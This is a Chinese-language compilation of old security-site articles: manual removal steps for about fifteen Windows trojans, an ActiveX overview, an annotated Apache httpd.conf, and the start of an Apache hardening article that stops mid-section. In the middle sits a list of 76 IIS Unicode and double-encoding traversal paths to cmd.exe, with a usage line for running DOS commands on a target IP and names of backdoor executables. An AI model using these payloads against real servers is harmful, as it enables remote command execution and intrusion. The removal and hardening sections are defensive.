删除右边的项目：SystemApp＝"ODBC.EXE"
关闭保存Regedit，重新启动Windows
删除C:\windows\system\ ODBC.EXE
ＯＫ
--

40. The Unexplained
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：InetB00st = "C:\WINDOWS\TEMPINETB00ST.EXE"
关闭保存Regedit，重新启动Windows
删除C:\WINDOWS\TEMPINETB00ST.EXE
ＯＫ

41. Thing v1.00 - 1.60
清除木马v1.00-1.12：
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：(Default) = "C:\some\path\here\thing.exe"
也有一些是在：
HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\SessionManager\Known16DL
Ls\
删除右边的项目：wsasrv.exe = "wsasrv.exe"
关闭保存Regedit，重新启动Windows
删除C:\some\path\here\thing.exe
ＯＫ
清除木马v 1.20版本:
进入MS_DOS方式：
del winspc13.exe
del ms097.exe
打开system.ini文件
查找到shell=explorer.exe ms097.exe
更改为：shell=explorer.exe
关闭保存system.ini，重新启动Windows
ＯＫ
清除木马v1.50版本:
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
这个项目的路径和文件名是随机改变的，察看有可疑的文件路径，将它删除。
关闭保存Regedit。
打开system.ini文件
查找到shell=explorer.exe后面是木马文件
更改为：shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除相应的木马文件
ＯＫ
清除木马v1.50版本:
进入MS_DOS方式：
del winspc13.exe
del ms097.exe
打开system.ini文件
查找到shell=explorer.exe后面是木马文件
更改为：shell=explorer.exe
关闭保存system.ini，重新启动Windows
删除相应的木马文件
ＯＫ

42. Transmission Scount v1.1 - 1.2
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：Kernel16" = C:\WINDOWS\Kernel16.exe
关闭保存Regedit，重新启动Windows
删除C:\WINDOWS\Kernel16.exe
ＯＫ

43. Trinoo
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目： System Services = service.exe
关闭保存Regedit，重新启动Windows
删除C:\windows\system\service.exe
ＯＫ

44. Trojan Cow v1.0
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：SysWindow = "C:\WINDOWS\Syswindow.exe"
关闭保存Regedit，重新启动Windows
删除C:\WINDOWS\Syswindow.exe
ＯＫ

45. TryIt
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：Rc5Dec = C:\Program Files\Internet Explorer\_.exe -guistart
关闭保存Regedit，重新启动Windows
删除C:\Program Files\Internet Explorer\_.exe
ＯＫ

46. Vampire v1.0 - 1.2
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：Sockets ="c:\windows\system\Sockets.exe"
关闭保存Regedit，重新启动Windows
删除c:\windows\system\Sockets.exe
ＯＫ

47. WarTrojan v1.0 - 2.0
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：Kernel32 = "C:\somepath\server.exe"
关闭保存Regedit，重新启动Windows
删除C:\somepath\server.exe
ＯＫ

48. wCrat v1.2b
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：MS Windows System Explorer ="C:\WINDOWS\sysexplor.exe"
关闭保存Regedit，重新启动Windows
删除C:\WINDOWS\sysexplor.exe
ＯＫ

49. WebEx (v1.2, 1.3, and 1.4)
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：RunDl32 = "C:\windows\system\task_bar"
关闭保存Regedit，重新启动Windows
删除C:\windows\system\task_bar.exe和c:\windows\system\msinet.ocx
ＯＫ

50. WinCrash v2
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：WinManager = "c:\windows\server.exe"
关闭保存Regedit
打开win.ini文件
查找到run=c:\windows\server.exe
更改为：run=
保存关闭win.ini，重新启动Windows
删除c:\windows\server.exe
ＯＫ

51. WinCrash
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：MsManager ="SERVER.EXE"
关闭保存Regedit，重新启动Windows
删除C:\windows\system\ SERVER.EXE
ＯＫ

52. Xanadu v1.1
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：SETUP = "c:\somepath\setup.exe"
关闭保存Regedit，重新启动Windows
删除c:\somepath\setup.exe
ＯＫ

53. Xplorer v1.20
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：PCX = "C:\WINDOWS\system\PCX.exe"
关闭保存Regedit，重新启动Windows
删除C:\WINDOWS\system\PCX.exe
ＯＫ

54. Xtcp v2.0 - 2.1
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
删除右边的项目：msgsv32 = "C:\WINDOWS\system\winmsg32.exe"
关闭保存Regedit，重新启动Windows
删除C:\WINDOWS\system\winmsg32.exe
ＯＫ

55. YAT
清除木马的步骤：
打开注册表Regedit
点击目录至：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\
删除右边的项目：Batterieanzeige = 'c:\pathnamehere\server.exe /nomsg'
关闭保存Regedit，重新启动Windows
删除c:\pathnamehere\server.exe
ＯＫ

转自---木马攻防
（原名为“100种木马的手工清除方法”，发现没这么多，整理了一下才放上来）


ActiveX技术综述

编程设计梦工厂

    本文结合目前Internet（WEB）技术发展动向，简略介绍了Microsoft提出的ActiveX技术的内容，阐述了ActiveX技术与WEB站点建设和桌面程序开发的关系，以及利用Visual C++和Visual Basic开发ActiveX部件的步骤和方法，并给出了在WEB网页中使用ActiveX部件的例子。
1. ActiveX概要

1.1. ActiveX的定义
    ActiveX是Microsoft提出的一组使用COM（Component Object Model，部件对象模型）使得软件部件在网络环境中进行交互的技术集。它与具体的编程语言无关。作为针对Internet应用开发的技术，ActiveX被广泛应用于WEB服务器以及客户端的各个方面。同时，ActiveX技术也被用于方便地创建普通的桌面应用程序。

1.2. ActiveX的内容
    ActiveX既包含服务器端技术，也包含客户端技术。其主要内容是：

ActiveX控制（ActiveX Control）；用于向WEB页面、Microsoft Word等支持ActiveX的容器（Container）中插入COM对象。

ActiveX文档（ActiveX Document）；用于在WEB Browser或者其它支持ActiveX的容器中浏览复合文档（非HTML文档），例如Microsoft Word文档，Microsoft Excel文档或者用户自定义的文档等。

ActiveX脚本描述（ActiveX Scripting）；用于从客户端或者服务器端操纵ActiveX控制和Java程序，传递数据，协调它们之间的操作。

ActiveX服务器框架（ActiveX Server Framework）；提供了一系列针对WEB服务器应用程序设计各个方面的函数及其封装类，诸如服务器过滤器、HTML数据流控制等。

在Internet Explorer中内置Java虚拟机（Java Virtual Machine），从而使Java Applet能够在Internet Explorer上运行，并可以与ActiveX控制通过脚本描述语言进行通信。
1.3. ActiveX与Java的比较
    ActiveX提供了一种扩展包括Java在内的任何编程语言的机制，Java的开发人员可以在Applet中使用ActiveX技术，直接嵌入ActiveX控制，或者以ActiveX技术为桥梁，将其它开发商提供的多种语言的程序对象集成到Java中。与Java的字节码技术相比，ActiveX提供了“代码签名”（Code Signing）技术保证其安全性。

1.4. Internet Explorer和Netscape Navigator
    不言而喻，Microsoft的Internet Explorer全面支持ActiveX。同时，Microsoft提供了Netscape Navigator的插? Plug-In），从而使Navigator也可以浏览包含有ActiveX部件的WEB站点。

2. ActiveX控制和Internet
    ActiveX控制是OLE控制的更新版本。控制（Control）是建立可编程部件（Component）的主要元素。ActiveX控制可以用于所有支持COM规范的容器中，或者作为Internet控制嵌入到WEB页面中。用户访问该页面时将下载该控制并自动在本地注册。利用脚本描述语言（Script）可以在控制之间以及客户与服务器之间通过设置属性（Property）、调用方法（Method）和激活事件（Event）进行通信。

    ActiveX控制与以前的OLE控制相比，具有更少的接口，并且可以没有窗口。所有的ActiveX控制都支持IUnknown接口。

    目前，很多第三方开发商编制了各式各样的ActiveX控制。在Internet上，有超过1000个ActiveX控制供用户下载使用。在WINDOWS的SYSTEM目录下，保存有很多Window提供的ActiveX控制。Microsoft Visual C++（以下简称VC）提供的MFC（Microsoft Foundation Classes）控制都是ActiveX控制。

    考虑到当前Internet相对较低的传输速率，设计运行于Internet的ActiveX控制时，必须考虑以下几个问题：

控制尽可能小；

持续存储数据（Persist Data）如何保存；

如何在Internet上下载和安装；

控制如何在客户端注册；
3. ActiveX文档和Internet
    ActiveX文档提供了传统的嵌入对象的扩展方法。ActiveX文档对象可以包含多个页，显示在整个客户区中，并支持原有的菜单功能。与以往的嵌入对象不同的是，ActiveX文档对象不再以一个阴影方框包围来显示，而是全框架（Full Frame），并总处于激活状态。

    Microsoft Office97提供了Microsoft Office Binder，用来生成并浏览由Microsoft Word、Microsoft Excel或者用户定义的ActiveX文档等构成的复合文档，每一种文档类型都可以直接进行编辑修改。 ActiveX文档可以作为对象嵌入到WEB网页中，在WEB上发布。

4. ActiveX脚本描述语言
    利用VBScript或者Microsoft JScript，可以向Web页面中加入可用于交互的ActiveX控制，将数据预处理或者检验过程放在客户端进行，然后将结果传往WEB服务器。

5. ActiveX服务器框架
    在WEB服务器上创建扩展应用程序，动态生成WEB页面。使用MFC提供的ISAPI类可以方便地建立WEB服务器端的扩展应用程序。

6. Visual C++ 5.0对ActiveX的支持
    VC++ 5.0（企业版）为Internet开发提供了完整的解决发案，其内容是：

使用MFC或者ATL开发ActiveX控制和ActiveX文档。

使用ISAPI设计WEB服务器端的部件。

使用WinInet 开发通过Internet存取文件的应用程序。

使用Asynchronous Monikers生成从Internet下载数据的应用程序。

使用ActiveX SDK开发其它类型的基于Internet的Win32应用程序，包括ActiveX Scripting Host，Microsoft WebConferencing等。

6.1. 用VC5.0开发ActiveX控制
    VC++5.0提供两个途径开发ActiveX控制：MFC和ATL（Active Template Library）。使用MFC，可以不必理会控制接口的细节，把注意力集中在控制本身的功用上，但是生成的控制比较大。而且，客户端如果要运行此ActiveX控制，必须拥有相应版本的MFC类库的DLL，否则，必须同时下载这些巨大的类库；使用ATL，由于不涉及MFC的标准类库，生成的控制相对较小，但开发者必须了解COM、OLE技术的细节。大多数情况下，可以使用MFC开发ActiveX控制，这样比较容易。而且，由于Internet Explorer 3.0提供了MFC 4.1的类库，而Internet Explorer 3.0是Windows95提供的组件，所以，只要ActiveX控制使用的是MFC 4.1或者更早的版本，多数情况下不需要下载MFC的类库。

    使用MFC开发ActiveX控制，可以用MFC ActiveX Control Wizard生成工程框架。VC会自动产生三个类：（假设MyName是控制的名字。）

CMyNameApp：从类COleControlModule派生，而类COleControlModule则派生自CWinApp；

CMyNameCtrl：从类COleControl派生，而类COleControl则派生自CWnd；

CMyNamePropPage：从类COlePropertyPage派生，而类COlePropPage则派生自CDialog；

    可以看出，这个框架与一般的MFC应用程序有些类似。开发人员的大部分工作在CMyNameCtrl中，例如用Class Wizard添加属性、方法和事件，处理显示等。

    编译生成OCX文件后，用VC提供的ActiveX Test Container测试这个控制，也可以用OLE/COM Object Viewer浏览此控制的接口信息及类型库。

6.2. ActiveX控制在WEB上的应用

    考虑到WEB的安全性，为了在服务器与客户端建立良好的信任关系，必须为每个在WEB上使用ActiveX控制设置一个“代码签名”（Code Signing）。VC5.0提供了生成供测试用的“代码签名”的工具。如果要正式发布，则必须向有关机构申请。（参见http：//www.microsoft.com/intdev/signcode/）

    在WEB页面中使用ActiveX控制，还要对之进行包装，将有关的动态连接库及信息文件压缩到一个扩展名为CAB（Cabinet）文件中。可以使用VC5.0提供的工具包装ActiveX控制。在HTML文件中，使用OBJECT标签插入ActiveX控制，并利用VBScript或者JScript访问该ActiveX控制。客户端用Internet Explorer浏览此页面时，可以自动解包该文件。出于安全性的考虑，Internet Explorer为ActiveX 部件的下载、初始化、是否拥有合法的代码签名以及是否允许Scripting等设置了不同的安全级别，用户可根据需要进行设置。下面这个例子中，使用了ActiveX控制“MSChart.OCX"，当用鼠标单击此控制时，控制的标题将改变。

      ID=chart1 WIDTH=400 HEIGHT=200

      ALIGN=center>

    其中，Object ID是这个ActiveX DLL中某个类的名字。当此WEB页面被下载并显示时，MyClass类的方法LogIn将被调用，并在客户端显示LogIn对话框。

7.3. Visual Basic 6.0
    Microsoft计划于1998年9月推出Visual Basic 6.0。目前Beta版正在测试。VB 6.0与VB5.0相比，除继续支持Internet Explorer Document Object Model（DOM）开发之外，将提供两个令人兴奋的新功能：

Dynamic HTML编辑器

开发人员可以象编制普通VB程序一样，制作DHTML文件或模板。

WebClasses；

开发人员可以在WEB服务器端建立与ASP文件一一对应的WebClass类，每个类都可以访问ASP对象，在Visual Basic IDE中跟踪调试，并生成 ISAPI 动态连接库。

8. 小结

    正如Internet和WEB技术一样，ActiveX技术的发展日新月异，新的更强大的开发工具使得服务器及客户端的应用开发、网站建设变得更简单，并容易扩展和重用。随着Microsoft的包括Windows NT、Internet Information Server、Active Server Pages以及Microsoft FrontPage、Internet Explorer等组件在内完整的Internet解决方案被广泛使用，ActiveX技术将会有更大的发展。

参考文献：

1. Visual C++技术内幕（第二版），[美]David J. Kruglinski著，王国印译，清华大学出版社。

2. ActiveX开发人员指南，[美]Eric Tall，Mark Ginsburg著，章巍等译，机械工业出版社。

3. Visual Basic 6.0：You Wont Believe What Just Hit the Web，Joshua Trupin，Microsoft Interactive Network Developer（MIND），1998年8月。

4. Introduction to ActiveX Controls，Microsoft Corp.，MSDN，1998年8月。 5. Dynamic HTML and the Big Picture，John Swenson，MSDN Online，1997年11月。

6. A Brief Preview of the Visual Basic 5.0 Development Environment，Michael Otey，Windows NT Magazine ，1997年4月。

7. http：//www.microsoft.com/，Microsoft公司，包括MSDN、MSJ等技术资源。

8. http：//www.ActiveX.com，第三方开发的ActiveX控制。

9. http：//www.Active-X.com，有关ActiveX技术的文档资料。

10. http：//www.WinntMag.com，Windows NT Magazine杂志。


All path of windows NT/2000's bug

[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4] /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11] /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+
[13] /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+
[14] /scripts/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+
[15] /scripts/msadc/..%e0%80%af..%e0%80%af..%e0%80%af../winnt/system32/cmd.exe?/c+
[16] /scripts/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+
[17] /msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+
[18] /msadc/..%e0%80%af..%e0%80%af..%e0%80%af../winnt/system32/cmd.exe?/c+
[19] /msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+
[20] /_vti_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+
[21] /_vti_bin/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+
[22] /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+
[23] /_vti_bin/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+
[24] /_vti_bin/msadc/..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af../winnt/system32/cmd.exe?/c+
[25] /_vti_bin/msadc/..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+
[26] /_mem_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+
[27] /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[28] /_mem_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+
[29] /_mem_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+
[30] /_vti_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+
[31] /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[32] /_vti_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+
[33] /_vti_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+
[34] /cgi-bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+
[35] /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[36] /cgi-bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+
[37] /cgi-bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+
[38] /msadc/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+
[39] /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[40] /msadc/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+
[41] /msadc/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+
[42] /scripts/..%c0%2f..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+
[43] /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[44] /scripts/..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+
[45] /scripts/..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+
[46] /scripts/..%252f../winnt/system32/cmd.exe?/c+
[47] /scripts/..%255c../winnt/system32/cmd.exe?/c+
[48] /scripts/..%%35c../winnt/system32/cmd.exe?/c+
[49] /scripts/..%%35%63../winnt/system32/cmd.exe?/c+
[50] /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+
[51] /scripts/..%5%63..%5%63winnt/system32/cmd.exe?/c+
[52] /scripts/msadc/..%252f../..%252f../..%252f../winnt/system32/cmd.exe?/c+
[53] /msadc/..%252f../..%252f../..%252f../winnt/system32/cmd.exe?/c+
[54] /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+
[55] /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+
[56] /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+
[57] /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+
[58] /msadc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+
[59] /msadc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+
[60] /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+
[61] /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+
[62] /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+
[63] /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+
[64] /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+
[65] /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+
[66] /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+
[67] /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+
[68] /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+
[69] /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+
[70] /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+
[71] /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+
[72] /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+
[73] /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+
[74] /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+
[75] /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+
[76] /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+

usage : http://target_ip/unicode_path/c+DOS_Command
注意 : c+ 是固定的 , %20 / + = " "(space)
中文版（..%c1%1c..）, 英文版（..%c0%af..）

other :
/scripts/sensepost.exe?/c+
/scripts/eeyehack.exe?/c+
/scripts/root.exe?/c+
/scripts/ccc.exe?/c+


Apache Server 的httpd.conf文件注释及配置指导

我们把httpd.conf文件进行了简单的注释,这里只是把其中注释了的提出来,便于浏览

如果您想对照原文浏览,我们也为您准备了.这里是httpd.conf文件(zip),本页面上的注释里面都有. 为了朋友们不至于把文件搞混,我给它另外命了一个名phpstar.httpd.conf

以下是详细内容

开始之前：

１、配置和写文件名时注意:如果您给出文件名以"/"开头,则服务器会用绝对目录。

２、如果给出的文件名不以"/"开头,如:"logs/foo.log",
    而当前服务器跟目录是"/usr/local/apache/",
    那么服务器就会认为这个log文件在这里:"/usr/local/apache/logs/foo.log"

３、注意:在整个配置过程中所有的文件名中都要用斜线"/",而不用反斜线"\"。
    如:用 "c:/apache" 而不用 "c:\apache" , 这里跟DOS不一样.

Apache服务器的配置指令别分成三个相对集中的部分

1. 配置Apache服务器在整个运行过程中的环境变量.

2. 配置主服务器或默认服务器运行时的详细接口参数.

3. 设置虚拟服务器,使得在同一个Apache服务器上可完成不同IP地址或不同主机名的web请求

    (即:一台物理上的服务器可被设置为有很多个IP地址或很多个主机名的虚拟服务器)

----------------------------------------

第一部分：　环境设定

# 设置服务器的的启动方式:独立启动（standalone），还是借由互联网络伺服程序inetd来启动。
# 缺省值是使用独立启动（standalone）。
ServerType standalone

# 设置服务器目录，用来存放服务器的配置文件、错误文件、记录文件的目录。
# 注意:在目录的最后不能再加斜线"/" 。
ServerRoot "C:/Apache"

# 服务程序启动时，它把父程序 httpd 的程序码(process id)存往这个
# log/httpd.pid 文件。这个文件名称可以配合 PidFile 指令加以改变.
PidFile logs/httpd.pid

# 设置Apache服务器执行程序的记录文件。
ScoreBoardFile logs/apache_status

# 下面这两项看个人的喜好,如果您觉得httpd.conf文件太长,不好找到需要的东西。
# 那么您可以将所需的设置放在srm.conf中(它只有几行),然后在下面打开它:
# 下面的两个设置,在标准配置中是打开的,我们可以不打开它.
# 去除下一行前面的"#" , 启用srm.conf
#ResourceConfig conf/srm.conf
#AccessConfig conf/access.conf

# 服务器与客户端的最大等待时间
# 如果客户端在300秒还没有连上，或者服务器300秒还没有传送数据到客户端，就会自动断线。Timeout 300

# 设置是否支持续传功能.缺省是支持
KeepAlive On

# 设置支持续传功能的数目。数目越多则浪费的硬盘空间越多, 性能也越好。
# 设置为0则没有限制。
MaxKeepAliveRequests 100

# 设置保持续传的最大等待时间
# 如果连接上的某位使用者在15秒后还没有向服务器发出要求，则他不能使用续传功能。
KeepAliveTimeout 15

# 设置同时间内子进程数目,为了安全,设置为零.
MaxRequestsPerChild 0

# 设置服务器使用进程的数目。
# 这是以服务器的响应速度为准的, 数目太大则会变慢.
ThreadsPerChild 50

# 允许使用另外的Port或IP地址访问服务器. 您可以打开它。
#Listen 3000
#Listen 12.34.56.78:80

# 设置Apache监听的IP地址，这也是您在本机上的虚拟服务器的IP地址.
BindAddress 127.0.0.1

# 打开当前未激活预定义的模块,这里除非您真的需要,否则不要更改它
#LoadModule anon_auth_module modules/ApacheModuleAuthAnon.dll
.
.
.
.

# 设置服务器产生的状态信息。如果设置为"On",则产生详细的信息.
#ExtendedStatus On

-----------------------------------

第二部分　　详细接口参数设定

# 设置服务器独立使用时监听的端口。
Port 80

# 设置服务器管理者的E-Mail地址.
ServerAdmin siron@phpstar.com

# 服务器的主机名。如果你有固定的IP地址，则不需要设置
ServerName localhost

# 设置存放站点html文件的目录
DocumentRoot "C:/Apache/htdocs"

# 设置/目录的指令。具体说明如下：
# 　　Option：定义在目录内所能执行的操作。
# 　　　　　　None表示只能浏览.
# 　　　　　　FollowSymLinks允许页面连接到别处，
# 　　　　　　ExecCGI允许执行CGI，
# 　　　　　　MultiViews允许看动画或是听音乐之类的操作，
# 　　　　　　Indexes允许服务器返回目录的格式化列表，
# 　　　　　　Includes允许使用SSI。
# 　　这些设置可以复选。All则可以做任何事，但不包括MultiViews。
# AllowOverride：
#　　　　　　 加None参数表示任何人都可以浏览该目录下的文件,但不会读取该文件。
# 　　　　　　FileInfo 允许控制文件型态之指令的使用,
# 　　　　　　AuthConfig 允许验认指令的使用，
# 　　　　　　Indexes 允许控制目录索引之指令的使用,
# 　　　　　　Limit 允许控制存取主机之指令的使用,
# 　　　　　　Options 允许控制特定目录特色之指令的使用.
# 　　　　　　设为 All 的话服务器将会允许所有的指令.
<Directory />
    ptions FollowSymLinks
    AllowOverride None
</directory>

# 定义首先显示的文件。
# 您可以这样更改 DirectoryIndex index.html index.htm
DirectoryIndex index.html

# 定义每个目录访问控制文件的名称
AccessFileName .htaccess

# 定义代理服务器不要缓存你的页面. 缺省不使用.
#CacheNegotiatedDocs

# 这个指令设定 mime 型态配置档所在的位置,
# 文件名称是相对于 ServerRoot 的, 不建议变更这个文件.
TypesConfig conf/mime.types

# 服务器会将错误讯息记录到一个记录档去,
# 文件名称可以藉由 ErrorLog 指令设定.
# 可以为不同的虚拟主机设定不同的错误记录
ErrorLog logs/error.log

# 设定记录档的格式
LogFormat "%h %l %u %t \"%r\" %>s %b" common
.
.
.

# Alias 指令使文件可以存放在 DocumentRoot 之外的本地文件系统里
# ScriptAlias 指令与 Alias 指令相同, 只不过它还标记改目录包含CGI或PHP指令文件
# AddType 指令以指定的内容型态作为该文件名称结尾的文件的副文件名
Alias /icons/ "C:/Apache/icons/"
Alias /test/ "c:/php/test/"
Alias /admin/ "c:/admin/phpMyAdmin/"
ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php
AddType application/x-httpd-php3 .php3
Action application/x-httpd-php "/php/php.exe"

# AddIcon, AddIconByEncoding and AddIconByType 都
# 是用来设定显示不同文件型态所使用的图示列表；对於每种列
# 出的文件型态，显示列出的第一个符合的图示。
AddIconByType (VID,/icons/movie.gif) video/*
AddIcon /icons/binary.gif .bin .exe

# 缺省的文件图示
DefaultIcon /icons/unknown.gif

# 有问题或错误发生的状况下，可以配置Apache做四种反应
# 1. 输出自定的(customized)讯息(文本)
#ErrorDocument 500 "The server made a boo boo.
# 2. 重导到某个本地的 URL 以处理该问题／错误
#ErrorDocument 404 /missing.html
#ErrorDocument 404 /cgi-bin/missing_handler.pl
# 3. 重导到某个外部的 URL 以处理该问题／错误
#ErrorDocument 402 http://some.other_server.com/subscription_info.html

    《PHP之星》 Siron/文


apache服务器的保护

本文将讨论UNIX平台下，Apache WEB服务器安装和配置的安全问题。我们假定阅读本文的系统管理员已经针对自己站点的情况选择了相关的模块，并且能够进行配置、创建和排除故障。本文的主要目的是帮助你简历一个安全的Apache歪脖(web )服务器。

在众多的Web服务器产品中，Apache是应用最为广泛的一个产品，同时也是一个设计上非常安全的程序。但是，同其它应用程序一样，Apache也存在安全缺陷。本文主要针对三个安全缺陷进行讨论，包括：使用HTTP协议进行的拒绝服务攻击(denial of service)、3缓冲区溢出攻击以及被攻击者获得root权限。注意：合理的配置能够保护Apache免遭多种攻击，但是在网络层上的拒绝服务攻击则不是调整Apache的配置所能够防止的。本文所涉及的是使用HTTP(应用层)协议进行的拒绝服务攻击。

Apache的主要缺陷

HTTP拒绝服务

攻击者通过某些手段使服务器拒绝对HTTP应答。这会使Apache对系统资源(CPU时间和内存)需求的剧增，最终造成系统变慢甚至完全瘫痪。

缓冲区溢出

